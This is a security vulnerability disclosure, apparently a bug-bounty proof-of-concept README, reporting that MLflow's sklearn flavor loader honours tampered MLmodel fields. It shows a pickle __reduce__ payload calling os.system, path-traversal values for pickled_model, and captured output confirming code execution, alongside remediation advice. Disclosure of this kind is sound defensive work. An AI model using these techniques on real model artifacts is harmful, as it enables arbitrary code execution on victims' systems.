--- license: apache-2.0 tags: - security - poc - bug-bounty - mlflow --- # MLflow non-pyfunc flavor loaders trust unsanitized MLmodel paths and `serialization_format` — `sklearn.load_model` achieves RCE (skops-default bypass) and out-of-model-dir file load > Private, gated security PoC for a huntr submission. Not for redistribution. ## Target - **Project:** [mlflow/mlflow](https://github.com/mlflow/mlflow) - **Version tested:** `mlflow==3.14.0` (real PyPI release) - **Environment:** Python 3.13, `scikit-learn==1.9.0`, `cloudpickle==3.1.2`, `skops==0.14.0`, Linux (Kali) - **Affected file:** `mlflow/sklearn/__init__.py` — `load_model` / `_load_model_from_local_file` (lines ~756–763) ## Summary MLflow 3.x deliberately made **`skops` (safe deserialization) the default save format** for the sklearn flavor specifically to mitigate pickle-based RCE. However, the *loader* still blindly honors two attacker-controlled fields read verbatim from the `MLmodel` YAML that ships **inside the model artifact**: - `pickled_model` — the artifact file name, joined with the model dir via `os.path.join` **with no sanitization**. - `serialization_format` — the deserialization backend (`skops` / `cloudpickle` / `pickle`). This yields two distinct defects from one root cause: 1. **Safe-default bypass → RCE.** A model that presents as a benign `skops` model can have its `MLmodel` rewritten to `serialization_format: cloudpickle` (or `pickle`) pointing at a malicious `model.pkl`. `mlflow.sklearn.load_model()` (and `mlflow.pyfunc.load_model()`) will `pickle.load` it and execute arbitrary code — **fully defeating the skops mitigation**. 2. **Path traversal / out-of-model-dir load.** `pickled_model` may be `../../../../tmp/x.pkl` (relative escape) or an absolute path (`os.path.join` drops the base directory when the second argument is absolute), so `load_model` reads and deserializes a file located **outside the model directory**. This is a **systemic flavor-loader issue**, not pyfunc-specific, and is a **distinct code path** from the previously-submitted pyfunc `artifacts` traversal finding. ## Root cause `mlflow/sklearn/__init__.py`, `load_model`: ```python _add_code_from_conf_to_system_path(local_model_path, flavor_conf) sklearn_model_artifacts_path = os.path.join(local_model_path, flavor_conf["pickled_model"]) serialization_format = flavor_conf.get("serialization_format", SERIALIZATION_FORMAT_PICKLE) skops_trusted_types = flavor_conf.get("skops_trusted_types", None) return _load_model_from_local_file( path=sklearn_model_artifacts_path, serialization_format=serialization_format, skops_trusted_types=skops_trusted_types, ) ``` Both `flavor_conf["pickled_model"]` and `flavor_conf.get("serialization_format", ...)` originate from the attacker-controlled `MLmodel` YAML. There is no check that the resolved path stays within `local_model_path`, and no restriction preventing a downgrade from the safe `skops` default to `cloudpickle`/`pickle`. The **identical unsanitized `os.path.join(local_model_path, flavor_conf[...])` pattern** exists across the other flavor loaders (field names in parentheses): `pytorch` (~L827, `model_data`), `onnx` (~L454, `data`), `tensorflow`/`keras` (~L671/679, `saved_model_dir`/`data`), `xgboost` (~L334), `lightgbm` (~L490), plus `h2o`, `spacy`, `statsmodels`, `paddle`. So the systemic surface is broad. ## Proof of Concept Two scripts (included in this repo): `poc_sklearn.py` (RCE) and `poc_traversal.py` (out-of-dir load). ### PoC 1 — skops-default bypass → RCE 1. Save a normal `DecisionTreeClassifier` with `mlflow.sklearn.save_model()`. In 3.14.0 the emitted `MLmodel` uses `serialization_format: skops` (safe) — the **negative baseline**. 2. Attacker edits `MLmodel`: sets sklearn flavor `pickled_model: model.pkl`, `serialization_format: cloudpickle`, and ships a `model.pkl` whose `__reduce__` returns `(os.system, ("id > /tmp/marker ...",))`. 3. Victim runs `mlflow.sklearn.load_model(model_dir)` → the command executes. ### PoC 2 — path traversal / out-of-model-dir load `pickled_model` is set to `../../../../../../tmp/mlflow_outside_payload.pkl` (relative escape) and then to an absolute `/tmp` path. In both cases `load_model` deserializes the object located outside the model directory. ## Captured evidence (verbatim, real execution against mlflow 3.14.0) ``` ########## PoC 1: RCE ########## mlflow 3.14.0 sklearn 1.9.0 --- original MLmodel (safe default) --- sklearn: code: null pickled_model: model.skops serialization_format: skops sklearn_version: 1.9.0 skops_trusted_types: null --- tampered MLmodel (sklearn flavor) --- code: null pickled_model: model.pkl serialization_format: cloudpickle sklearn_version: 1.9.0 skops_trusted_types: null === VICTIM runs mlflow.sklearn.load_model() on the published model === *** CONFIRMED RCE at load_model time. Marker file contents: *** uid=1000(kali) gid=1000(kali) groups=1000(kali),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),101(netdev),102(scanner),118(wireshark),119(kaboxer),982(bluetooth),999(lpadmin) PWNED-BY-SKLEARN-LOADER ########## PoC 2: TRAVERSAL ########## pickled_model set to traversal path: ../../../../../../tmp/mlflow_outside_payload.pkl loaded object class: Marker tag: LOADED-FROM-OUTSIDE-MODEL-DIR *** load_model deserialized a file OUTSIDE the model dir via os.path.join(local_model_path, flavor_conf['pickled_model']) *** absolute-path load tag: LOADED-FROM-OUTSIDE-MODEL-DIR ``` **Negative baseline:** the freshly-saved model uses `serialization_format: skops` and does **not** execute the payload until the YAML fields are tampered. ## Impact Loading an untrusted MLflow model artifact (a common workflow: models pulled from a registry, hub, shared storage, or CI) via `mlflow.sklearn.load_model` / `mlflow.pyfunc.load_model` leads to **arbitrary code execution** in the victim process, even though the model appears to use the safe `skops` format. The same loader logic also enables deserialization of arbitrary files outside the model directory. ## Suggested remediation - Reject `pickled_model` values that resolve outside `local_model_path` (normalize and verify the real path is a child of the model dir; reject absolute paths and `..` components). - Do not silently honor a downgrade from the persisted safe default; when the model was saved with `skops`, refuse a loader-time `serialization_format` that requests `pickle`/`cloudpickle` (or require explicit opt-in). Apply the same path-containment check across all flavor loaders sharing the pattern. ## Dedup / prior-art note - **Distinct** from the previously-submitted MLflow pyfunc `artifacts` path-traversal finding — that is the pyfunc `artifacts` map; this is the per-flavor `pickled_model` / `serialization_format` handling in the flavor loaders (`mlflow.sklearn` and siblings). - The novel element here is the **skops-safe-default bypass**: MLflow 3.x adopted skops as default explicitly to mitigate pickle RCE, and this shows the loader still accepts an attacker-supplied downgrade to cloudpickle/pickle, nullifying that mitigation. Not covered by the generic "MLflow deserializes pickles" advisories, which predate the skops default.